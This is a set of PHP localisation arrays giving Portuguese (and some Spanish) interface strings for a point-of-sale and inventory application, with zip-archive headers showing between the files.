'Nome do meio', 'address_line_1' => 'Endereço Linha 1', 'address_line_2' => 'Endereço linha 2', 'dob' => 'Data de nascimento', 'dob_ins' => 'Formato Y-m-d', 'by_purchase_price' => 'Pelo preço de compra', 'by_sale_price' => 'Por preço de venda', 'potential_profit' => 'Lucro potencial', 'apply_all' => 'Aplicar tudo', 'hide_all_prices' => 'Ocultar todos os preços', 'select_invoice_layout' => 'Selecionar layout da fatura', 'max_sales_discount_percent' => 'Porcentagem máxima de desconto de vendas', 'max_sales_discount_percent_help' => 'Percentual máximo de desconto que um usuário pode conceder durante a venda. Deixe em branco sem restrições', 'max_discount_error_msg' => 'Você pode dar o máximo de :discount% de desconto por venda', 'show_invoice_layout' => 'Mostrar menu suspenso de layout da fatura', 'recurred_from' => 'Recorrido de', 'recur_details' => 'Detalhes recorrentes', 'recurring' => 'Recorrente', 'view_product_stock_value' => 'Exibir valor do estoque do produto', 'added' => 'Adicionado', 'disable_credit_sale_button' => 'Desativar botão de venda de crédito', 'pay' => 'Pagar', 'use_advance_balance' => 'Usar saldo adiantado', 'advance' => 'Adiantamento', 'advance_balance' => 'Saldo adiantado', 'advance_payment' => 'Pagamento adiantado', 'required_advance_balance_not_available' => 'Saldo adiantado exigido não disponível', 'in_transit' => 'Em trânsito', 'edit_stock_transfer' => 'Editar Transferência de ações', 'completed_status_help' => 'A transferência de ações não será editável se o status for concluído', 'no_data' => 'Sem dados', 'sms_service' => 'Serviço de SMS', 'nexmo_key' => 'Chave Nexmo', 'nexmo_secret' => 'Segredo Nexmo', 'twilio_token' => 'Token de acesso Twilio', 'twilio_sid' => 'SID de conta Twilio', 'upcoming' => 'Próximo', 'final' => 'Final', 'expense_for_contact' => 'Despesa para contato', 'create' => 'Criar', 'waiting' => 'Esperando', 'sms_settings_header_key' => 'Cabeçalho: tecla numérica', 'sms_settings_header_val' => 'Cabeçalho: valor numérico', 'stock_adjustment_details' => 'Detalhes de ajuste de estoque', 'stock_transfer_details' => 'Detalhes de transferência de estoque', 'invoice_layout_for_pos' => 'Layout de fatura para PDV', 'invoice_layout_for_sale' => 'Layout de fatura para venda', 'invoice_layout_for_sale_tooltip' => 'Layout de fatura para vendas diretas', 'new_quotation' => 'Nova cotação', 'new_quotation_notification' => 'Notificação de nova cotação', 'view_quote_url' => 'Ver url de citação', 'close_cash_register' => 'Fechar caixa registradora', 'view_cash_register' => 'Ver caixa registradora', 'for_tax_group_only' => 'Apenas para grupo de impostos', 'for_tax_group_only_help' => 'Se marcado, este imposto não será exibido individualmente nos menus suspensos, apenas pode ser adicionado no grupo de impostos', 'exempt' => 'Isentar', 'tax_exempt_help' => 'Taxa de imposto zero por cento será considerada isenta de impostos', 'show_total_in_words' => 'Mostrar o total em palavras', 'show_in_word_help' => 'extensão php-intl precisa ser habilitada', 'print_on_suspend' => 'Imprimir fatura em suspensão', 'view_all_customer' => 'Ver todos os clientes', 'view_own_customer' => 'Ver o próprio cliente', 'view_all_supplier' => 'Ver todos os fornecedores', 'view_own_supplier' => 'Ver o próprio fornecedor', 'label_help' => 'Imprimir código de barras / etiqueta', 'connection_type_windows' => 'Tipo de conexão Windows', 'connection_type_linux' => 'Tipo de conexão Linux', 'windows_type_help' => 'Os arquivos do dispositivo serão semelhantes a', 'linux_type_help' => 'Seu arquivo de dispositivo de impressora estará em algum lugar como', 'due_date' => 'Data de Vencimento', 'quotation_no' => 'Número da cotação', 'browser_based_printing' => 'Impressão baseada em navegador', 'configured_printer' => 'Usar impressora de recibos configurada', 'for_normal_printer' => 'Para impressora normal', 'recomended_for_80mm' => 'Recomendado para impressora de recibos de linha térmica, tamanho de papel de 80 mm', 'recomended_for_58mm' => 'Recomendado para impressora de recibos de linha térmica, tamanho de papel de 80 mm e 58 mm', 'classic' => 'Clássico', 'elegant' => 'Elegante', 'slim' => 'Magro', 'detailed' => 'Detalhado', 'columnize_taxes' => 'Colunizar impostos', 'types_of_service_help_long' => 'Tipo de serviço significa serviços como jantar, encomendas, entrega em domicílio, entrega de terceiros, etc. Ele pode ser ativado / desativado em <code> Configurações> Módulos </code> e pode ser criado em <code> Configurações> Tipos de serviço </code>. Você também pode definir diferentes grupos de preços e cobrança de embalagem para os tipos de serviço.', 'access_sell_return' => 'Acessar retorno de venda', 'system_notification' => 'Notificação do Sistema', 'time_range' => 'Intervalo de tempo', 'enable_php_intl_extension' => 'Habilitar extensão php-intl nas configurações PHP INI', 'profit_note' => '<b> Observação: </b> o lucro por produtos / categorias / marcas considera apenas o desconto inline. O desconto na fatura não é considerado.', 'upcoming_bookings' => 'Próximas reservas', 'is_refund' => 'É reembolso', 'is_refund_help' => 'Se marcada a despesa será reembolsada e adicionada ao lucro líquido', 'refund' => 'Restituição', 'activate' => 'Ativar', 'deactivate' => 'Desativar', 'add_quotation' => 'Adicionar cotação', 'product_stock_history' => 'Histórico de estoque do produto', 'quantities_in' => 'Quantidades em', 'quantities_out' => 'Quantidades para fora', 'in' => 'Dentro', 'out' => 'Fora', 'totals' => 'Totais', 'quantity_change' => 'Mudança de quantidade', 'new_quantity' => 'Nova Quantidade', 'no_stock_history_found' => 'Nenhum histórico de estoque encontrado', 'add_draft' => 'Adicionar rascunho', 'labels_for_sale_shipping_custom_fields' => 'Etiquetas para venda, enviando campos personalizados', 'is_required' => 'É necessário', 'convert_to_invoice' => 'Converter em fatura', 'converted_to_invoice_successfully' => 'Convertido em fatura :invoice_no com sucesso', 'proforma' => 'Proforma', 'proforma_invoice' => 'Fatura proforma', 'convert_to_proforma' => 'Converter para fatura pró-forma', 'converted_to_proforma_successfully' => 'Converted to Proforma Invoice', 'billing_address' => 'Endereço de cobrança', 'delete_sell' => 'Excluir Venda', 'product_brochure' => 'Folheto do produto', 'whatsapp_text' => 'Texto Whatsapp', 'auto_send_wa_notif' => 'Envio automático de notificação do Whatsapp', 'send_whatsapp' => 'Enviar notificação do Whatsapp', 'send_sms' => 'Enviar SMS', 'send_email' => 'Enviar email', 'shipping_documents' => 'Enviando documentos', 'no_attachment_found' => 'Nenhum anexo encontrado', 'attachments' => 'Anexos', 'print_invoice' => 'Imprimir fatura', 'word_format' => 'Formato do Word', 'international' => 'Internacional', 'indian' => 'Indiano', 'word_format_help' => 'No formato internacional, grandes números são representados em milhões, bilhões e trilhões, enquanto no formato indiano é representado em lakhs e crores', 'shipping_edited' => 'Envio editado', 'payment_edited' => 'Pagamento editado', 'notification_sent' => 'Notificação enviada', 'imported' => 'Importado', 'logout' => 'Sair', 'backup_clean_command_instruction' => 'Para limpar o backup antigo, você deve configurar um cron job com este comando:', 'converted' => 'Convertido', 'view_commission_agent_sell' => 'O agente da comissão pode ver sua própria venda', 'access_commission_agent_shipping' => 'O agente da comissão pode acessar suas próprias remessas', 'access_own_shipping' => 'Acessar remessas próprias', 'email_notification_sent' => 'Notificação por email enviada', 'sms_notification_sent' => 'Notificação de SMS enviada', 'packing_date' => 'Data de Embalagem', 'print_exp_date' => 'Imprimir data de validade', 'print_packing_date' => 'Imprimir data de embalagem', 'print_lot_number' => 'Imprimir número do lote', 'family_contact_number' => 'Número de contato da família', 'custom_payment' => 'Pagamento personalizado :number', 'default_credit_limit' => 'Limite de crédito padrão', 'price_calculation_type' => 'Tipo de cálculo de preço', 'show_pricing_on_product_sugesstion' => 'Mostrar preços na dica de sugestão de produto', 'all_purchase_orders' => 'Todos os pedidos de compra', 'add_purchase_order' => 'Adicionar pedido de compra', 'edit_purchase_order' => 'Editar pedido de compra', 'purchase_order_details' => 'Detalhes do pedido de compra', 'enable_purchase_order' => 'Habilitar pedido de compra', 'purchase_order_help_text' => 'Um pedido de compra é um documento comercial e a primeira oferta oficial emitida por um comprador a um vendedor indicando tipos, quantidades e preços acordados para produtos ou serviços. É usado para controlar a compra de produtos e serviços de fornecedores externos. Os pedidos de compra podem ser uma parte essencial dos pedidos do sistema de planejamento de recursos empresariais. ', 'view_all_purchase_order' => 'Ver todos os pedidos de compra', 'view_own_purchase_order' => 'Ver o próprio pedido de compra', 'create_purchase_order' => 'Criar pedido de compra', 'delete_purchase_order' => 'Excluir pedido de compra', 'purchase_order_delete_success' => 'Pedido de compra excluído com sucesso', 'order_quantity' => 'Quantidade do pedido', 'order_date' => 'Data do pedido', 'max_quantity_quantity_allowed' => 'Máx . :quantity permitida', 'leave_empty_to_autogenerate' => 'Deixe vazio para gerar automaticamente', 'add_edit_invoice_number' => 'Adicionar editar número da fatura', 'keep_blank_to_autogenerate' => 'Mantenha em branco para gerar automaticamente', 'download_pdf' => 'Baixar PDF', 'attach_pdf_in_email' => 'Anexar o pdf da fatura ao e-mail', 'send_sms_whatsapp_notification' => 'Enviar notificação por SMS / WhatsApp', 'enable_sales_order' => 'Habilitar pedido de vendas', 'sales_order' => 'Pedido de venda', 'sales_order_help_text' => 'O pedido de venda, às vezes abreviado como SO, é um pedido emitido por uma empresa ou comerciante individual para um cliente. Um pedido de venda pode ser para produtos e / ou serviços.', 'add_sales_order' => 'Adicionar pedido de venda', 'edit_sales_order' => 'Editar pedido de vendas', 'shipping_note' => 'Nota de transporte', 'code_1_name' => 'Código 1 nome', 'code_2_name' => 'Código 2 nome', 'code_1' => 'Código 1', 'code_2' => 'Código 2', 'download_paking_pdf' => 'Baixe o pdf da embalagem', 'subject_type' => 'Tipo de assunto', 'activity_log' => 'Registro de atividade', 'sell_deleted' => 'Venda Excluída', 'so_deleted' => 'Pedido de venda excluído', 'po_deleted' => 'Pedido de compra excluído', 'purchase_deleted' => 'Compra excluída', 'contact_deleted' => 'Contato excluído', 'payment_deleted' => 'Pagamento excluído', 'quantity_remaining' => 'Quantidade Restante', 'view_sale' => 'Ver Venda', 'update_sale' => 'Atualizar Venda', 'add_sell' => 'Adicionar Venda', 'account_details' => 'Detalhes da conta', 'label' => 'Rótulo', 'prefer_payment_method' => 'Prefiro método de pagamento', 'prefer_payment_account' => 'Prefiro conta de pagamento', 'this_will_be_shown_in_pdf' => 'Método / conta preferencial em que o cliente pode pagar a fatura. (Útil para faturas de crédito)', 'view_own_so' => 'Ver pedido de venda próprio', 'view_all_so' => 'Ver todos os pedidos de venda', 'create_so' => 'Criar pedido de venda', 'edit_so' => 'Editar pedido de venda', 'delete_so' => 'Excluir pedido de venda', 'types_of_service_custom_field_help' => 'Seis campos personalizados estarão disponíveis ao adicionar venda', 'delete_expense' => 'Excluir Despesa', 'access_all_expense' => 'Acesse todas as despesas', 'designation' => 'Designação', 'department' => 'Departamento', 'is_default_for_contact' => 'É padrão para contato', 'individual' => 'Individual', 'is_export' => 'É exportação?', 'export' => 'Exportar', 'export_custom_field1' => 'Exportar campo personalizado 1', 'export_custom_field2' => 'Exportar campo personalizado 2', 'export_custom_field3' => 'Exportar campo personalizado 3', 'export_custom_field4' => 'Exportar campo personalizado 4', 'export_custom_field5' => 'Exportar campo personalizado 5', 'export_custom_field6' => 'Exportar campo personalizado 6', 'enable_export' => 'Habilitar exportação', 'edit_status' => 'Editar status', 'status_updated' => 'Status atualizado', 'item_discount_label' => 'Etiqueta de desconto do item', 'sales_orders' => 'Ordens de venda', 'cash_denominations' => 'Denominações em dinheiro', 'cash_denominations_help' => 'Exemplo de valores separados por vírgula: 100,200,500,2000', 'denomination' => 'Denominação', 'count' => 'Contar', 'denomination_add_help_text' => 'Adicionar denominações em Configurações -> Configurações de negócios -> PDV -> Denominações em dinheiro', 'order_dates' => 'Datas do pedido', 'by_category' => 'Por categoria', 'by_brand' => 'Por marca', 'no_brand' => 'Sem marca', 'woocommerce_sync' => 'WooCommerce Sync', 'enable' => 'Habilitar', 'disable' => 'Desativar', 'cmmsn_calculation_type' => 'Tipo de Cálculo de Comissão', 'invoice_value' => 'Valor da fatura', 'total_payment_with_commsn' => 'Pagamento total com comissão', 'payments_with_cmmsn' => 'Pagamentos com comissão', 'view_all_drafts' => 'Ver todos os rascunhos', 'view_own_drafts' => 'Ver os próprios rascunhos', 'edit_draft' => 'Editar rascunho', 'delete_draft' => 'Excluir rascunho', 'view_all_quotations' => 'Ver todas as cotações', 'view_own_quotations' => 'Ver as próprias cotações', 'edit_quotation' => 'Editar cotação', 'delete_quotation' => 'Excluir cotação', 'primary_work_location' => 'Local de trabalho principal', 'labels_for_purchase_shipping_custom_fields' => 'Etiquetas para campos personalizados de envio de compra', 'view_own_purchase_n_stock_adjustment' => 'Ver a própria compra e ajuste de estoque', 'view_all_purchase_n_stock_adjustment' => 'Ver todas as compras e ajustes de estoque', 'access_all_shipments' => 'Acesse todas as remessas', 'view_all_sale' => 'Ver todas as vendas', 'total_quantity' => 'Quantidade total', 'pending_shipments' => 'Remessas Pendentes', 'view_paid_sells_only' => 'Ver apenas vendas pagas', 'view_due_sells_only' => 'Ver apenas as vendas devidas', 'view_partially_paid_sells_only' => 'Ver apenas vendas parcialmente pagas', 'view_overdue_sells_only' => 'Ver apenas as vendas em atraso', 'customer_with_no_sell_one_month' => 'Ver clientes sem vendas a partir de apenas um mês', 'customer_with_no_sell_three_month' => 'Ver clientes sem vendas a partir de apenas três meses', 'customer_with_no_sell_six_month' => 'Ver clientes sem vendas a partir de apenas seis meses', 'customer_with_no_sell_one_year' => 'Ver clientes sem vendas há apenas um ano', 'customer_permissions_tooltip' => 'Para visualizar todos os clientes sem vendas em um momento específico, a permissão <b> Visualizar todos os clientes </b> é necessária, caso contrário, será filtrado apenas com clientes criados pelo usuário conectado', 'sell_permissions_tooltip' => 'Para ver as vendas com base no status do pagamento, a permissão <b> Ver todas as vendas </b> é necessária, caso contrário, ele filtrará apenas as vendas criadas pelo usuário conectado', 'access_pending_shipments_only' => 'Acessar apenas remessas pendentes', 'access_all_sell_return' => 'Acessar todos os resultados de venda', 'access_own_sell_return' => 'Acessar retrocesso de venda própria', 'proforma_heading' => 'Título da fatura pró-forma', 'tooltip_proforma_heading' => 'O cabeçalho da fatura pró-forma é usado ao fornecer pró-forma aos clientes.', 'line_taxes' => 'Impostos lineares', 'add_additional_expenses' => 'Adicionar despesas adicionais', 'additional_expense_name' => 'Nome de despesa adicional', 'purchase_additional_expense' => 'Despesas adicionais de compra', 'qr_code' => 'Código QR', 'show_qr_code' => 'Mostrar código QR', 'fields_to_be_shown' => 'Campos a serem mostrados', 'business_location_address' => 'Endereço de localização da empresa', 'business_tax_1' => 'Imposto sobre negócios 1', 'business_tax_2' => 'Imposto sobre negócios 2', 'invoice_datetime' => 'Data da fatura', 'total_amount_with_tax' => 'Valor total com imposto', 'total_bank_transfer' => 'Transferência bancária total', 'total_advance_payment' => 'Pagamento total adiantado', 'commission_agent_label' => 'Etiqueta do agente da comissão', 'show_commission_agent' => 'Mostrar agente de comissão', 'cannot_change_role' => 'Não é possível alterar a função', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Link de pagamento', 'enable_payment_link' => 'Ativar link de pagamento', 'payment_link_help_text' => 'Ao habilitar os usuários podem pagar a fatura usando o link de pagamento', 'invoice_payment' => 'Pagamento da fatura', 'payment_for_invoice_no' => 'Pagamento pelo número da fatura', 'pending_shipments' => 'Remessas Pendentes', 'sources' => 'Fontes', 'stripe_secret_key' => 'Chave secreta Stripe', 'stripe_public_key' => 'Stripe chave pública', 'edit_opening_balance' => 'Editar saldo inicial', 'edit_fund_transfer' => 'Editar transferência de fundos', 'edit_deposit' => 'Editar Depósito', 'deposit_to' => 'Depositar em', 'transfer_from' => 'Transferir de', 'edit_account_transaction' => 'Editar transação da conta', 'delete_account_transaction' => 'Excluir transação da conta', 'add_purchase_payment' => 'Adicionar pagamento de compra', 'edit_purchase_payment' => 'Editar pagamento de compra', 'delete_purchase_payment' => 'Excluir pagamento de compra', 'add_sell_payment' => 'Adicionar pagamento de venda', 'edit_sell_payment' => 'Editar venda de pagamento', 'delete_sell_payment' => 'Excluir pagamento de venda', 'sales_order_heading' => 'Título do pedido de venda', 'account_balance' => 'Saldo da conta', 'total_balance' => 'Balanço total', 'account_balance_tooltip' => 'Saldo total da conta particular', 'total_balance_tooltip' => 'Saldo total de todas as contas', 'sell_additional_expense' => 'Vender despesas adicionais', 'view_export_buttons' => 'Ver a exportação para botões (csv / excel / print / pdf) nas tabelas', 'overall' => 'Geral', 'show_labels' => 'Mostrar rótulos', 'zatca_qr' => 'Código QR ZATCA (Fatoora)', 'zatca_qr_help' => 'Para o país da Arábia Saudita', 'customer_irrespective_of_sell' => 'Veja os clientes independentemente de suas vendas', 'img_url_help_text' => 'Ou URL da imagem', 'delivery_person' => 'Entregador', 'enable_service_staff_pin' => 'Ativar o PIN do pessoal de serviço', 'staff_pin' => 'PIN do pessoal', 'tooltip_is_enable_service_staff_pin' => 'Se ativado, durante as vendas/PDVs, quando este usuário for selecionado como pessoal de serviço, é necessário inserir o PIN; um PIN incorreto não permitirá a seleção deste usuário como pessoal de serviço.', 'kitchen_order' => 'Pedido de cozinha', 'kitchen_order_tooltip' => 'O pedido será enviado para a cozinha apenas se esta opção estiver marcada', 'disable_quotation' => 'Desativar Orçamento', 'disable_card' => 'Desativar Cartão', 'assigned_to' => 'Atribuído a', 'has_no_sell_from' => 'Não tem vendas de', 'delivery_note' => 'Nota de entrega', 'above_mentioned_items_received_in_good_condition' => 'Itens mencionados acima recebidos em bom estado', 'received_by' => 'Recebido por', 'enter_details_below_to_check_repair_status' => 'Insira os detalhes abaixo para verificar o Status do Reparo', 'search_by' => 'Pesquisar por' ]; PK G �Z"���4 4 pt/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Códigos de barras', 'barcode_settings' => 'Configurações de código de barras', 'manage_your_barcodes' => 'Gerenciar a configuração do seu código de barras', 'all_your_barcode' => 'Todas as suas configurações de código de barras', 'setting_name' => 'Nome da configuração da folha adesiva', 'setting_description' => 'Configuração da folha adesiva Descrição', 'added_success' => 'Configuração de código de barras adicionada com sucesso', 'updated_success' => 'Configurações de código de barras atualizadas com sucesso', 'deleted_success' => 'As configurações do código de barras foram apagadas com sucesso', 'add_new_setting' => 'Adicionar nova configuração', 'add_barcode_setting' => 'Adicionar configurações de etiqueta de código de barras', 'edit_barcode_setting' => 'Editar configurações de etiqueta de código de barras', 'in_in' => 'em polegadas', 'width' => 'Largura do rótulo', 'height' => 'Altura do rótulo', 'top_margin' => 'margem superior adicional', 'left_margin' => 'margem esquerda adicional', 'row_distance' => 'Distância entre duas linhas', 'col_distance' => 'Distância entre duas colunas', 'blank_stickers' => 'Adesivos em branco', 'stickers_in_one_row' => 'Autocolantes em linha', 'delete_confirm' => 'Esta configuração será apagada \n Tem certeza?', 'set_as_default' => 'Definir por padrão', 'default' => 'Defeito', 'default_set_success' => 'Configuração padrão definida com sucesso', 'stickers_in_one_sheet' => 'Número de autocolantes por folha', 'is_continuous' => 'Alimentação contínua ou rolos', 'products' => 'Produtos', 'no_of_labels' => 'Número de etiquetas', 'info_in_labels' => 'Informações para exibir nas etiquetas', 'print_name' => 'Nome do produto', 'print_variations' => 'Variação do produto (recomendado)', 'print_price' => 'Preço do produto', 'show_price' => 'Mostrar preço', 'preview' => 'Visualização', 'print_business_name' => 'Nome da empresa', 'barcode_setting' => 'Ajuste de código de barras', 'paper_width' => 'Largura do papel', 'paper_height' => 'Altura do papel', 'print_labels' => 'Imprimir etiquetas', 'labels' => 'Rótulos', ]; PK G �Zm� jx x pt/user.phpnu �[��� <?php return [ 'edit_profile' => 'Editar perfil', 'change_password' => 'Alterar a senha', 'current_password' => 'Senha atual', 'new_password' => 'Nova senha', 'confirm_new_password' => 'Confirmar nova senha', 'user_management' => 'Gerenciamento de usuários', 'roles' => 'Papéis', 'users' => 'Usuários', 'manage_roles' => 'Gerenciar funções', 'all_roles' => 'Todos os papéis', 'add_role' => 'Adicionar papel', 'role_name' => 'Nome da função', 'permissions' => 'Permissões', 'role_added' => 'Função adicionada com sucesso', 'role_already_exists' => 'O papel com o mesmo nome já existe', 'edit_role' => 'Editar papel', 'role_updated' => 'Função atualizada com sucesso', 'role_deleted' => 'Função removida com sucesso', 'manage_users' => 'Gerenciar usuários', 'all_users' => 'Todos os usuários', 'name' => 'Nome', 'role' => 'Papel', 'add_user' => 'Adicionar usuário', 'user_added' => 'Usuário adicionado com sucesso', 'role_is_default' => 'Você não pode modificar este papel', 'edit_user' => 'Editar usuário', 'leave_password_blank' => 'Deixe o campo da senha em branco se você não quiser atualizar a senha', 'user_update_success' => 'Usuário atualizado com sucesso', 'user_delete_success' => 'Usuário excluído com sucesso', ]; PK G �Z��� pt/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurante', 'tables' => 'Mesas', 'table' => 'Mesa', 'manage_your_tables' => 'Gestionar mesas de restaurante', 'all_your_tables' => 'Todas las mesas del restaurante', 'description' => 'Descripción', 'add_table' => 'Añadir tabla', 'edit_table' => 'Editar tabla', 'table_name' => 'Nombre de la tabla', 'short_description' => 'Breve descripción', 'select_table' => 'Seleccionar tabla', 'show_table' => 'Mostrar tabla', 'table_label' => 'Etiqueta de la mesa', 'show_service_staff' => 'Mostrar personal de servicio', 'service_staff_label' => 'Etiqueta del personal de servicio', 'select_waiter' => 'Seleccionar camarero', 'modifiers' => 'Modificadores', 'modifier_sets' => 'Conjuntos de modificadores', 'manage_your_modifiers' => 'Gestionar todos los modificadores de restaurante', 'all_your_modifiers' => 'Todos los modificadores', 'add_modifier' => 'Añadir modificador', 'modifier_set' => 'Conjunto de modificadores', 'modifier' => 'Modificadores', 'edit_modifier' => 'Modificar modificador', 'manage_products' => 'Gestionar productos', 'products' => 'Productos', 'modifiers_for_product' => 'Modificadores para producto', 'kitchen' => 'Cocina', 'mark_as_cooked' => 'Marcar como cocido', 'manage_your_kitchen' => 'Gestiona tu cocina', 'all_orders' => 'Todas las órdenes', 'order_no' => 'N º de pedido.', 'order_statuses' => [ 'received' => 'Recibido', 'cooked' => 'Cocido', 'served' => 'Servido', '' => 'Recibido', ], 'order_successfully_marked_cooked' => 'Orden marcada exitosamente como cocinada', 'order_successfully_marked_served' => 'Orden exitosamente marcada como servida', 'orders' => 'Pedidos', 'manage_your_orders' => 'Gestiona tus pedidos', 'all_your_orders' => 'Todos tus pedidos', 'mark_as_served' => 'Marcar como servido', 'placed_at' => 'Colocado en', 'order_status' => 'Estado del pedido', 'order_details' => 'Detalles del pedido', 'refresh' => 'Refrescar', 'no_orders_found' => 'No se encontraron pedidos', 'select_service_staff' => 'Seleccionar personal de servicio', 'service_staff' => 'Personal de servicio', 'kitchen_for_restaurant' => 'Cocina (Para restaurantes)', 'products_for_modifier' => 'Productos para modificador', 'is_service_staff' => 'Es personal de servicio', 'tooltip_tables' => 'Utilizado principalmente en restaurantes, bares, salones, etc.', 'tooltip_modifiers' => 'Elementos adicionales agregados con el producto principal <br> Ejemplo: Ingredientes, queso', 'tooltip_service_staff' => 'Persona que presta el servicio designado a los clientes. Ejemplo: personal de espera en restaurantes, peluquerías en salones', 'modules_settings' => 'Configuraciones de módulos', 'bookings' => 'Reservas', 'add_edit_view_all_booking' => 'Añadir / Editar / Ver todas las reservas', 'add_edit_view_own_booking' => 'Añadir / Editar / Ver reservas propias', 'add_booking' => 'Añadir nueva reserva', 'start_time' => 'Hora de inicio', 'end_time' => 'Hora de finalización', 'booking_not_available' => 'Tabla ya reservada para <b>:customer_name</b> entre <b>:booking_time_range</b>', 'select_correspondent' => 'Seleccionar corresponsal', 'send_notification_to_customer' => 'Enviar notificación de correo electrónico / SMS al cliente', 'booking_details' => 'Detalles de la reserva', 'correspondent' => 'Corresponsal', 'booking_starts' => 'La reserva comienza', 'booking_ends' => 'Fin de reserva', 'cancelled' => 'Cancelado', 'completed' => 'Terminado', 'change_booking_status' => 'Cambiar estado de reserva', 'booked' => 'Reservado', 'delete_booking' => 'Eliminar reserva', 'click_on_any_booking_to_view_or_change_status' => 'Haga clic en cualquier reserva para ver los detalles o cambiar el estado', 'double_click_on_any_day_to_add_new_booking' => 'Haga doble clic en cualquier día para agregar una nueva reserva', 'todays_bookings' => 'Las reservas de hoy', 'hello_name' => 'Hola :name!', 'booking_confirmed' => 'Su reserva ha sido confirmada.', 'table_info' => 'Tabla: :table', 'booking_time_info' => 'De :from A :to', 'new_booking_subject' => 'Nueva reserva -:business_name', 'customer_note' => 'Nota al cliente', 'table_report' => 'Informe de tabla', 'service_staff_report' => 'Informe del personal de servicio', 'service_staff_replacement' => 'Substituição de funcionários de serviço' ]; PK G �Z�a�%� � pt/purchase.phpnu �[��� <?php return [ 'supplier' => 'Fornecedor', 'ref_no' => 'Número de referência', 'business_location' => 'Localização da empresa', 'purchases' => 'Compras', 'add_payment' => 'Adicionar pagamento', 'edit_payment' => 'Editar pagamento', 'view_payments' => 'Ver pagamentos', 'amount_already_paid' => 'Valor já pago', 'payment_added_success' => 'Pagamento adicionado com sucesso', 'payment_updated_success' => 'Pagamento atualizado com sucesso', 'payment_deleted_success' => 'Pagamento removido com sucesso', 'amount' => 'Quantidade', 'payment_method' => 'Método de pagamento', 'no_records_found' => 'Nenhum arquivo encontrado', 'payment_due' => 'Data do pagamento', 'purchase_total' => 'Compra total', 'location' => 'Localização', 'payment_note' => 'Nota de pagamento', 'all_purchases' => 'Todas as compras', 'purchase_status' => 'Status de compra', 'payment_status' => 'Estado do pagamento', 'grand_total' => 'Totalmente grande', 'add_purchase' => 'Adicionar compra', 'purchase_date' => 'Data de compra', 'purchase_quantity' => 'Quantidade de compra', 'unit_cost_before_tax' => 'Custo unitário (antes dos impostos)', 'subtotal_before_tax' => 'Subtotal (antes de impostos)', 'product_tax' => 'Imposto sobre produtos', 'net_cost' => 'Custo líquido', 'line_total' => 'Linha total', 'unit_selling_price' => 'Preço unitário de venda', 'total_before_tax' => 'Total antes de impostos', 'net_total_amount' => 'Valor total líquido', 'discount_type' => 'tipo de desconto', 'discount_amount' => 'Valor do desconto', 'discount' => 'Desconto', 'edit_purchase' => 'Editar compra', 'purchase_tax' => 'Imposto sobre compras', 'shipping_details' => 'Detalhes de envio', 'additional_shipping_charges' => 'Custos adicionais de envio', 'additional_notes' => 'Notas adicionais', 'purchase_add_success' => 'Compra adicionada com sucesso', 'purchase_update_success' => 'Compra atualizada com sucesso', 'purchase_details' => 'Detalhes da compra', 'unit_cost_after_tax' => 'Preço de custo unitário (após impostos)', 'total_after_tax' => 'Total após impostos', 'no_payments' => 'Nenhum pagamento foi encontrado', 'allow_purchase_different_currency' => 'Compras em outra moeda', 'purchase_currency' => 'Comprar moeda', 'p_exchange_rate' => 'Taxa de câmbio', 'diff_purchase_currency_help' => 'A moeda de compra está definida para <strong>:currency </ strong>', 'list_purchase' => 'Lista de compras', 'attach_document' => 'documento anexo', 'download_document' => 'Baixar documento', 'max_file_size' => 'Tamanho máximo do arquivo: :sizeMB', ]; PK G �Z6�Pi pt/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Registre-se e comece em minutos', 'business_name' => 'Nome da empresa', 'start_date' => 'data de início', 'currency' => 'Moeda', 'currency_placeholder' => 'Selecione o tipo de moeda', 'upload_logo' => 'Enviar logo', 'country' => 'País', 'state' => 'Estado', 'city' => 'Cidade', 'zip_code' => 'CEP', 'zip_code_placeholder' => 'CEP / CEP', 'landmark' => 'Ponto de referência', 'tax_1_name' => 'Tax 1 Name', 'tax_1_no' => 'Tax 1 No', 'tax_2_name' => 'Tax 2 Name', 'tax_2_no' => 'Tax 2 No', 'tax_1_placeholder' => 'GST / VAT / Other', 'prefix' => 'Prefixo', 'prefix_placeholder' => 'Senhor, senhora, senhorita', 'first_name' => 'Primeiro nome', 'last_name' => 'sobrenome', 'username' => 'Username', 'email' => 'Email', 'password' => 'Password', 'confirm_password' => 'Confirmar senha', 'register' => 'Registration', 'business' => 'Empresa', 'address' => 'Endereço', 'logo_help' => 'O logotipo anterior (se existir) será substituído', 'update_settings' => 'Atualizar configurações', 'business_settings' => 'Configuração da empresa', 'settings_updated_success' => 'Configuração atualizada com sucesso', 'default_profit_percent' => 'Porcentagem de benefício predeterminado', 'default_sales_tax' => 'Imposto sobre vendas padrão', 'default_sales_discount' => 'Desconto de venda padrão', 'business_details' => 'Detalhes da empresa', 'tax' => 'Tax', 'tax_details' => 'Detalhes fiscais', 'owner' => 'Owner', 'owner_info' => 'Informação do proprietário', 'sale' => 'Venda', 'sell_price_tax' => 'Preço de venda', 'product' => 'Produto', 'sku_prefix' => 'prefixo SKU', 'language' => 'Language', 'time_zone' => 'Fuso horário', 'months' => [ 1 => 'Janeiro', 2 => 'fevereiro', 3 => 'Março', 4 => 'abril', 5 => 'maio', 6 => 'junho', 7 => 'Julho', 8 => 'Agosto', 9 => 'Setembro', 10 => 'Outubro', 11 => 'Novembro', 12 => 'Dezembro', ], 'fy_start_month' => 'Mês de Início do Ano Fiscal', 'accounting_method' => 'Método de contabilização', 'fifo' => 'FIFO (primeiro a entrar primeiro a sair)', 'lifo' => 'LIFO (último a entrar primeiro a sair)', 'business_locations' => 'Locais comerciais', 'business_location' => 'Local comercial', 'manage_your_business_locations' => 'Gerenciar locais comerciais', 'all_your_business_locations' => 'Todos os locais da empresa', 'add_business_location' => 'Adicionar um novo local de negócios', 'business_location_added_success' => 'Local comercial adicionado com sucesso', 'edit_business_location' => 'Editar local da empresa', 'business_location_updated_success' => 'Localização comercial atualizada com sucesso', 'location' => 'Localização', 'already_registered' => 'Já está registrado?', 'sign_in' => 'Register', 'not_yet_registered' => 'Ainda não registrado?', 'register_now' => 'Registre-se agora', 'system' => 'System', 'show_help_text' => 'Mostrar texto de ajuda', 'mobile' => 'Mobile', 'alternate_number' => 'Número de contato alternativo', 'email' => 'Email', 'settings' => 'Configurações', 'transaction_edit_days' => 'Dias de edição da transação', 'dashboard' => 'Board', 'view_stock_expiry_alert_for' => 'Veja o 